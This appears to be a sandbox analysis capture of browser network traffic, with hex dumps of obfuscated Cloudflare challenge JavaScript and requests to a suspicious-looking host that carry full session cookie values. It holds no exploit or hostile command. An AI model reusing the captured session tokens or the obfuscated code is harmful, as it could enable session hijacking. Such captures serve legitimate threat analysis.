2024-04-23 19:53:41 UTC	364	IN	Data Raw: 31 36 35 0d 0a 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 7e 66 75 6e 63 74 69 6f 6e 28 69 78 2c 66 45 2c 66 46 2c 66 47 2c 66 4a 2c 66 4b 2c 67 64 2c 67 65 2c 67 66 2c 67 6a 2c 67 6b 2c 67 6f 2c 67 71 2c 67 72 2c 67 73 2c 67 74 2c 67 75 2c 67 76 2c 67 77 2c 67 78 2c 67 79 2c 67 7a 2c 67 41 2c 67 42 2c 67 43 2c 67 44 2c 67 45 2c 67 46 2c 67 47 2c 67 48 2c 67 49 2c 67 4a 2c 67 4b 2c 67 4c 2c 67 4d 2c 67 4e 2c 67 4f 2c 67 50 2c 67 51 2c 67 52 2c 67 53 2c 67 54 2c 67 55 2c 67 56 2c 67 57 2c 67 58 2c 67 59 2c 67 5a 2c 68 30 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 2c 68 39 2c 68 61 2c 68 62 2c 68 63 2c 68 64 2c 68 65 2c 68 66 2c 68 67 2c 68 68 2c 68 69 2c 68 6a 2c 68 6b 2c 68 6d 2c 68 Data Ascii: 165window._cf_chl_opt.uaO=false;~function(ix,fE,fF,fG,fJ,fK,gd,ge,gf,gj,gk,go,gq,gr,gs,gt,gu,gv,gw,gx,gy,gz,gA,gB,gC,gD,gE,gF,gG,gH,gI,gJ,gK,gL,gM,gN,gO,gP,gQ,gR,gS,gT,gU,gV,gW,gX,gY,gZ,h0,h1,h2,h3,h4,h5,h6,h7,h8,h9,ha,hb,hc,hd,he,hf,hg,hh,hi,hj,hk,hm,h
2024-04-23 19:53:41 UTC	1369	IN	Data Raw: 31 63 62 36 0d 0a 38 34 29 29 2f 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 69 77 28 32 36 38 33 29 29 2f 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 69 77 28 31 35 32 31 29 29 2f 33 2b 70 61 72 73 65 49 6e 74 28 69 77 28 31 30 39 31 29 29 2f 34 2b 2d 70 61 72 73 65 49 6e 74 28 69 77 28 32 37 33 37 29 29 2f 35 2b 2d 70 61 72 73 65 49 6e 74 28 69 77 28 31 30 36 30 29 29 2f 36 2b 2d 70 61 72 73 65 49 6e 74 28 69 77 28 32 39 37 36 29 29 2f 37 2a 28 2d 70 61 72 73 65 49 6e 74 28 69 77 28 32 35 38 32 29 29 2f 38 29 2b 70 61 72 73 65 49 6e 74 28 69 77 28 32 39 38 36 29 29 2f 39 2c 64 3d 3d 3d 66 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 Data Ascii: 1cb684))/1(-parseInt(iw(2683))/2)+-parseInt(iw(1521))/3+parseInt(iw(1091))/4+-parseInt(iw(2737))/5+-parseInt(iw(1060))/6+-parseInt(iw(2976))/7(-parseInt(iw(2582))/8)+parseInt(iw(2986))/9,d===f)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(
2024-04-23 19:53:41 UTC	1369	IN	Data Raw: 32 32 29 2c 27 68 70 62 4c 55 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 79 62 64 46 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 57 6b 67 7a 63 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 4a 56 42 64 4a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 41 70 63 55 76 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 57 58 52 77 44 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 7a 56 7a 46 72 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 55 5a 6f 68 74 27 3a 66 Data Ascii: 22),'hpbLU':function(h,i){return i&h},'ybdFM':function(h,i){return h&i},'Wkgzc':function(h,i){return i==h},'JVBdJ':function(h,i){return h(i)},'ApcUv':function(h,i){return h(i)},'WXRwD':function(h,i){return h&i},'zVzFr':function(h,i){return h(i)},'UZoht':f
2024-04-23 19:53:41 UTC	1369	IN	Data Raw: 2c 4f 62 6a 65 63 74 5b 69 45 28 31 31 32 35 29 5d 5b 69 45 28 32 38 36 31 29 5d 5b 69 45 28 32 33 38 36 29 5d 28 42 2c 4c 29 7c 7c 28 42 5b 4c 5d 3d 46 2b 2b 2c 43 5b 4c 5d 3d 21 30 29 2c 4d 3d 44 2b 4c 2c 4f 62 6a 65 63 74 5b 69 45 28 31 31 32 35 29 5d 5b 69 45 28 32 38 36 31 29 5d 5b 69 45 28 32 33 38 36 29 5d 28 42 2c 4d 29 29 44 3d 4d 3b 65 6c 73 65 7b 69 66 28 4f 62 6a 65 63 74 5b 69 45 28 31 31 32 35 29 5d 5b 69 45 28 32 38 36 31 29 5d 5b 69 45 28 32 33 38 36 29 5d 28 43 2c 44 29 29 7b 69 66 28 64 5b 69 45 28 32 33 36 37 29 5d 28 32 35 36 2c 44 5b 69 45 28 31 31 39 31 29 5d 28 30 29 29 29 7b 66 6f 72 28 78 3d 30 3b 78 3c 47 3b 49 3c 3c 3d 31 2c 4a 3d 3d 64 5b 69 45 28 36 33 33 29 5d 28 6a 2c 31 29 3f 28 4a 3d 30 2c 48 5b 69 45 28 31 34 38 36 29 5d Data Ascii: ,Object[iE(1125)][iE(2861)][iE(2386)](B,L)\|\|(B[L]=F++,C[L]=!0),M=D+L,Object[iE(1125)][iE(2861)][iE(2386)](B,M))D=M;else{if(Object[iE(1125)][iE(2861)][iE(2386)](C,D)){if(d[iE(2367)](256,D[iE(1191)](0))){for(x=0;x<G;I<<=1,J==d[iE(633)](j,1)?(J=0,H[iE(1486)]
2024-04-23 19:53:41 UTC	1369	IN	Data Raw: 5b 69 45 28 32 39 31 31 29 5d 28 4a 2c 6a 2d 31 29 3f 28 4a 3d 30 2c 48 5b 69 45 28 31 34 38 36 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3e 3e 3d 31 2c 78 2b 2b 29 3b 7d 45 2d 2d 2c 64 5b 69 45 28 33 30 30 35 29 5d 28 30 2c 45 29 26 26 28 45 3d 4d 61 74 68 5b 69 45 28 31 30 32 33 29 5d 28 32 2c 47 29 2c 47 2b 2b 29 2c 64 65 6c 65 74 65 20 43 5b 44 5d 7d 65 6c 73 65 20 66 6f 72 28 4e 3d 42 5b 44 5d 2c 78 3d 30 3b 78 3c 47 3b 49 3d 64 5b 69 45 28 32 31 37 39 29 5d 28 49 2c 31 29 7c 64 5b 69 45 28 32 38 38 35 29 5d 28 4e 2c 31 29 2c 6a 2d 31 3d 3d 4a 3f 28 4a 3d 30 2c 48 5b 69 45 28 31 34 38 36 29 5d 28 64 5b 69 45 28 32 34 31 35 29 5d 28 6f 2c 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3e 3e 3d 31 2c 78 2b 2b 29 3b 45 2d 2d 2c 64 5b 69 45 28 Data Ascii: [iE(2911)](J,j-1)?(J=0,H[iE(1486)](o(I)),I=0):J++,N>>=1,x++);}E--,d[iE(3005)](0,E)&&(E=Math[iE(1023)](2,G),G++),delete C[D]}else for(N=B[D],x=0;x<G;I=d[iE(2179)](I,1)\|d[iE(2885)](N,1),j-1==J?(J=0,H[iE(1486)](d[iE(2415)](o,I)),I=0):J++,N>>=1,x++);E--,d[iE(
2024-04-23 19:53:41 UTC	1369	IN	Data Raw: 30 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 69 48 28 31 30 32 33 29 5d 28 32 2c 38 29 2c 46 3d 31 3b 46 21 3d 4b 3b 4e 3d 64 5b 69 48 28 31 36 32 30 29 5d 28 47 2c 48 29 2c 48 3e 3e 3d 31 2c 64 5b 69 48 28 31 36 31 30 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 64 5b 69 48 28 34 34 38 29 5d 28 6f 2c 49 2b 2b 29 29 2c 4a 7c 3d 28 30 3c 4e 3f 31 3a 30 29 2a 46 2c 46 3c 3c 3d 31 29 3b 4f 3d 64 5b 69 48 28 32 38 30 31 29 5d 28 65 2c 4a 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 69 48 28 31 30 32 33 29 5d 28 32 2c 31 36 29 2c 46 3d 31 3b 46 21 3d 4b 3b 4e 3d 64 5b 69 48 28 33 31 33 38 29 5d 28 47 2c 48 29 2c 48 3e 3e 3d 31 2c 30 3d 3d 48 26 26 28 48 3d 6a 2c 47 3d 64 5b 69 48 28 33 30 33 33 29 5d 28 6f Data Ascii: 0:for(J=0,K=Math[iH(1023)](2,8),F=1;F!=K;N=d[iH(1620)](G,H),H>>=1,d[iH(1610)](0,H)&&(H=j,G=d[iH(448)](o,I++)),J\|=(0<N?1:0)*F,F<<=1);O=d[iH(2801)](e,J);break;case 1:for(J=0,K=Math[iH(1023)](2,16),F=1;F!=K;N=d[iH(3138)](G,H),H>>=1,0==H&&(H=j,G=d[iH(3033)](o
2024-04-23 19:53:41 UTC	513	IN	Data Raw: 29 67 3d 27 6d 27 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 65 5b 6a 71 28 33 34 30 29 5d 28 67 61 2c 67 62 28 63 29 29 7d 7d 2c 67 64 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6a 72 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 29 7b 66 6f 72 28 6a 72 3d 69 78 2c 66 3d 7b 27 53 63 44 41 42 27 3a 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 72 65 74 75 72 6e 20 6c 28 6d 29 7d 2c 27 59 51 67 6c 70 27 3a 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 72 65 74 75 72 6e 20 6c 2b 6d 7d 2c 27 41 67 78 68 68 27 3a 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 72 65 74 75 72 6e 20 6c 2d 6d 7d 7d 2c 6b 2c 68 3d 33 32 2c 6a 3d 66 45 5b 6a 72 28 33 32 31 39 29 5d 5b 6a 72 28 33 31 31 34 29 5d 2b 27 5f 27 2b 30 2c 6a 3d 6a 5b 6a 72 28 31 34 39 38 29 5d 28 2f 2e 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: )g='m';else return e[jq(340)](ga,gb(c))}},gd=function(c,jr,f,g,h,i,j,k){for(jr=ix,f={'ScDAB':function(l,m){return l(m)},'YQglp':function(l,m){return l+m},'Agxhh':function(l,m){return l-m}},k,h=32,j=fE[jr(3219)][jr(3114)]+'_'+0,j=j[jr(1498)](/./g,function(
2024-04-23 19:53:41 UTC	1369	IN	Data Raw: 38 33 34 0d 0a 33 30 36 34 29 5d 3d 27 75 27 2c 67 65 5b 69 78 28 32 37 39 36 29 5d 3d 27 7a 27 2c 67 65 5b 69 78 28 31 39 33 31 29 5d 3d 27 6e 27 2c 67 65 5b 69 78 28 31 35 38 30 29 5d 3d 27 49 27 2c 67 66 3d 67 65 2c 66 45 5b 69 78 28 34 39 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 6a 2c 6a 77 2c 6f 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 29 7b 69 66 28 6a 77 3d 69 78 2c 6f 3d 7b 27 64 5a 67 66 65 27 3a 6a 77 28 32 38 31 33 29 2c 27 4e 68 61 67 46 27 3a 6a 77 28 32 38 36 34 29 2c 27 72 7a 70 50 67 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 28 48 29 7d 2c 27 68 79 50 64 45 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 21 3d 3d 48 7d 2c 27 71 49 59 4e 58 27 3a 66 75 6e 63 74 69 6f 6e 28 47 Data Ascii: 8343064)]='u',ge[ix(2796)]='z',ge[ix(1931)]='n',ge[ix(1580)]='I',gf=ge,fE[ix(493)]=function(g,h,i,j,jw,o,x,B,C,D,E,F){if(jw=ix,o={'dZgfe':jw(2813),'NhagF':jw(2864),'rzpPg':function(G,H){return G(H)},'hyPdE':function(G,H){return G!==H},'qIYNX':function(G
2024-04-23 19:53:41 UTC	738	IN	Data Raw: 38 29 5d 3d 21 21 5b 5d 2c 4f 5b 6a 79 28 31 36 36 35 29 5d 29 26 26 28 61 30 3d 7b 7d 2c 61 30 5b 6a 79 28 32 30 30 32 29 5d 3d 6a 79 28 32 39 32 39 29 2c 61 30 5b 6a 79 28 32 30 33 35 29 5d 3d 56 5b 6a 79 28 33 32 31 39 29 5d 5b 6a 79 28 32 31 34 39 29 5d 2c 61 30 5b 6a 79 28 39 38 31 29 5d 3d 57 5b 6a 79 28 33 32 31 39 29 5d 5b 6a 79 28 31 30 37 37 29 5d 2c 61 30 5b 6a 79 28 32 38 34 37 29 5d 3d 4b 5b 6a 79 28 36 36 34 29 5d 2c 61 30 5b 6a 79 28 32 39 39 35 29 5d 3d 58 5b 6a 79 28 33 32 31 39 29 5d 5b 6a 79 28 31 33 38 37 29 5d 2c 61 30 5b 6a 79 28 31 35 34 35 29 5d 3d 59 5b 6a 79 28 33 32 31 39 29 5d 5b 6a 79 28 32 33 37 34 29 5d 2c 61 30 5b 6a 79 28 31 36 37 33 29 5d 3d 4b 5b 6a 79 28 32 38 31 39 29 5d 2c 55 5b 6a 79 28 31 36 36 35 29 5d 5b 6a 79 28 Data Ascii: 8)]=!![],O[jy(1665)])&&(a0={},a0[jy(2002)]=jy(2929),a0[jy(2035)]=V[jy(3219)][jy(2149)],a0[jy(981)]=W[jy(3219)][jy(1077)],a0[jy(2847)]=K[jy(664)],a0[jy(2995)]=X[jy(3219)][jy(1387)],a0[jy(1545)]=Y[jy(3219)][jy(2374)],a0[jy(1673)]=K[jy(2819)],U[jy(1665)][jy(
2024-04-23 19:53:41 UTC	809	IN	Data Raw: 33 32 32 0d 0a 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 29 2c 6f 2b 2b 29 3b 7d 65 6c 73 65 20 68 5b 6e 5d 3d 69 5b 6c 5b 6d 5d 5d 5b 6a 41 28 32 38 32 31 29 5d 28 66 75 6e 63 74 69 6f 6e 28 73 2c 6a 42 29 7b 72 65 74 75 72 6e 20 6a 42 3d 6a 41 2c 6b 5b 6a 42 28 31 30 38 37 29 5d 28 6a 42 28 31 34 33 33 29 2c 6b 5b 6a 42 28 33 32 32 31 29 5d 29 3f 27 6f 2e 27 2b 73 3a 21 21 5b 5d 7d 29 7d 2c 66 45 5b 69 78 28 31 38 33 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6a 43 2c 64 2c 65 2c 66 2c 67 29 7b 6a 43 3d 69 78 2c 64 3d 7b 7d 2c 64 5b 6a 43 28 35 32 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 3d 69 7d 2c 64 5b 6a 43 28 32 34 34 30 29 5d 3d 6a 43 28 39 30 33 29 2c 64 5b 6a 43 28 31 31 30 33 29 5d 3d 6a 43 28 31 36 36 35 29 2c 64 Data Ascii: 322i[l[m]][o])),o++);}else h[n]=i[l[m]][jA(2821)](function(s,jB){return jB=jA,k[jB(1087)](jB(1433),k[jB(3221)])?'o.'+s:!![]})},fE[ix(1830)]=function(jC,d,e,f,g){jC=ix,d={},d[jC(525)]=function(h,i){return h===i},d[jC(2440)]=jC(903),d[jC(1103)]=jC(1665),d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49746	104.17.3.184	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:41 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/tbxob/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:41 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:53:41 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 879066b2fcdc53ff-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 19:53:41 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49747	104.17.3.184	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:42 UTC	438	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:42 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:53:42 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 879066b6cff1add5-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 19:53:42 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49739	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:42 UTC	1316	OUT	GET /favicon.ico HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o5u7g.zleu9.com/O5u7Gw/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkJwS0o3dW9oY040VFdqODZlRjhYcHc9PSIsInZhbHVlIjoiMmFUMkVlZGRsdk9kQnFQTW1vQ3VMcnc1WHUxU1RrZ3JBMUFpS1BWdXUwYlZ6K3oxZ1dIUTNTZFNJZWc3ODJ0THJ5OGJIS1E4Z2tGNmRLNS93NmFuWkFLSElKTk40Q1BmaWNRQjVQdHdhZ21PcndJOVVodTM2STlNMDIremJFK3UiLCJtYWMiOiIxNTk1YTExOTc0MGE2ZTcxZDc1Y2IxNTc3OWJjNzMxN2U4N2IyMzI5MWVkYmExMGRmMzBlMzg2NTkyYmYzYzc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjlVbDN3REQyYW9zNmczQ0pqRFlIcUE9PSIsInZhbHVlIjoiUnY2eXBxNU9LUVU5OUM0T1lWSllMYlBYT1R5WnhrOEU3c2FCZHNzQjdCeENNN3RiWThjblhSUXFZOHZmSWVwWjZuQ0VPZ0ZQQzd2T3BBamVyTXZLa0h2STlhRHVTelVSMWdwcFBDbTVkY09BUXlIend3T2swNmFtKzU4MWtnOW4iLCJtYWMiOiJkMmYwMGM5MjYzM2ViMDkyMDU0MmZhOTJlMmE0ZTY1YTRlZDQzYzBhZDIxY2M2Mjc2MDhmMGIyMzY5OGQ3MmJmIiwidGFnIjoiIn0%3D
2024-04-23 19:53:42 UTC	642	IN	HTTP/1.1 404 Not Found Date: Tue, 23 Apr 2024 19:53:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HuGAIXqQUHUwoTYEVZ%2FLXVAHfKcrKLZho2oWL0hdPyB1xFXQKec8fDnsXSoBen%2FANSad0as%2Be%2FJL41ZAJLMLZek3%2FbwBkF45GMNcZomG6tN9WvynUFWaQKraFvhQ3A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Age: 284 Server: cloudflare CF-RAY: 879066b659d5138b-ATL
2024-04-23 19:53:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49748	104.17.3.184	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:53:42 UTC	915	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/693555097:1713899458:awaYsz5cS08XnYE1eWdisJAHNg9uYwgpGaBpyil3TXY/879066af2d254527/783a92b798bfbc6 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 2643 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 783a92b798bfbc6 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/tbxob/0x4AAAAAAAXj4ylnvzeCbeUc/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:53:42 UTC	2643	OUT	Data Raw: 76 5f 38 37 39 30 36 36 61 66 32 64 32 35 34 35 32 37 3d 4f 4d 44 6e 36 6e 31 6e 57 6e 39 6e 4c 53 6b 58 53 6b 6d 6e 53 54 72 49 4c 50 53 30 6b 4c 6b 71 56 54 2d 6a 4b 6b 51 62 6b 44 4b 30 45 79 55 6b 30 4b 4c 41 79 30 68 62 6b 4f 6e 79 49 79 6f 6b 34 6e 2d 34 56 44 6b 53 49 61 6b 4e 6e 30 62 6b 36 30 4e 65 53 50 6b 41 54 79 4a 6b 64 73 54 73 62 6b 79 6e 61 6b 63 53 6b 62 33 33 41 2d 4f 56 36 51 4b 31 6e 6f 44 6b 25 32 62 6b 30 57 38 6b 37 62 35 74 6a 6b 6c 68 50 4a 64 42 58 57 74 56 77 6d 64 53 48 33 2d 41 6b 6b 32 36 71 24 66 7a 56 77 66 38 75 46 4d 66 6b 72 43 6f 6b 61 6b 72 4a 2d 2b 53 4b 79 4e 6c 35 6c 6c 4c 6b 79 68 53 58 50 6b 62 36 77 62 33 72 6b 6b 7a 73 49 45 6b 6b 52 6b 68 33 50 33 62 63 33 6b 4f 55 61 63 6b 72 52 7a 6b 62 50 6a 4e 6f 63 4b 2b Data Ascii: v_879066af2d254527=OMDn6n1nWn9nLSkXSkmnSTrILPS0kLkqVT-jKkQbkDK0EyUk0KLAy0hbkOnyIyok4n-4VDkSIakNn0bk60NeSPkATyJkdsTsbkynakcSkb33A-OV6QK1noDk%2bk0W8k7b5tjklhPJdBXWtVwmdSH3-Akk26q$fzVwf8uFMfkrCokakrJ-+SKyNl5llLkyhSXPkb6wb3rkkzsIEkkRkh3P3bc3kOUackrRzkbPjNocK+
2024-04-23 19:53:42 UTC	714	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:53:42 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: mIjjaTyegXzaMa75PB6oFeZh41/7bDs6VxKICTfLSKvzASU0uYZD8n4UwcBWrNtZp4+SqqZIJ0tFdnjrQNfcvkPLyMD8WIxMd8+eAKudchw3k71EXVfPInmacjKyOwrvUvneBLLHQRcvVFfxefHu6DALX5ySKrlpE+Buwo3ycK2iqKWd1gI2q01c28AzdSnojsm7Loj/YeVs1Lpa+ltAU+Qwr+G/tnZ3RKZ4o9tG1eEhXaD3OxkYO5ILuPylnU5HPLsr/8p/XtGfrX4ixV54I/fJwsWSA45bjtPAG3zjkIWkPMKYV3NpUuSzp2o4wAn1RrL2AbVxmImPzhbcUKRyPhe7FUaDlChdAzP0MDFASxJxEtOgr1KXLj34DO/mbdosMYqBz0HdceuBoavAOJoI8/yQPevJQEcYBhyRmi/1hjw=$TEP2HEO0GwjFVSiNi8vwag== vary: accept-encoding Server: cloudflare CF-RAY: 879066b848af677c-ATL alt-svc: h3=":443"; ma=86400
2024-04-23 19:53:42 UTC	655	IN	Data Raw: 34 30 36 0d 0a 5a 45 35 4e 68 32 39 6b 68 4a 74 79 61 46 52 61 61 4a 65 69 57 71 43 65 6c 71 69 68 6b 6e 78 6f 6d 5a 2b 44 67 5a 71 6a 73 59 61 66 6b 35 65 32 74 6f 32 43 65 70 6d 4c 76 62 36 71 65 72 32 37 74 4b 2b 7a 6c 61 69 6b 6d 71 43 66 71 4a 75 67 6f 72 33 44 79 63 2f 51 31 4b 53 4f 78 36 71 6d 6d 73 75 75 72 4a 61 72 6e 5a 33 43 32 71 62 44 31 72 69 69 78 39 71 39 32 72 72 4e 77 63 76 77 33 4c 50 41 39 62 54 51 2b 2b 50 46 73 37 33 4c 79 66 37 65 76 4e 48 6c 31 2b 2f 6d 2b 38 59 4c 2b 67 44 41 36 51 58 69 7a 41 34 57 45 52 44 34 30 65 30 55 47 64 63 4b 44 42 33 67 49 68 77 66 34 75 2f 79 37 77 67 68 49 67 73 70 47 42 2f 6d 47 51 48 72 43 67 45 46 4c 69 51 59 43 42 41 75 48 52 76 36 4d 53 6e 36 4c 6a 67 68 46 78 45 6b 4b 54 4d 49 53 41 67 2f 4c 79 Data Ascii: 406ZE5Nh29khJtyaFRaaJeiWqCelqihknxomZ+DgZqjsYafk5e2to2CepmLvb6qer27tK+zlaikmqCfqJugor3Dyc/Q1KSOx6qmmsuurJarnZ3C2qbD1riix9q92rrNwcvw3LPA9bTQ++PFs73Lyf7evNHl1+/m+8YL+gDA6QXizA4WERD40e0UGdcKDB3gIhwf4u/y7wghIgspGB/mGQHrCgEFLiQYCBAuHRv6MSn6LjghFxEkKTMISAg/Ly
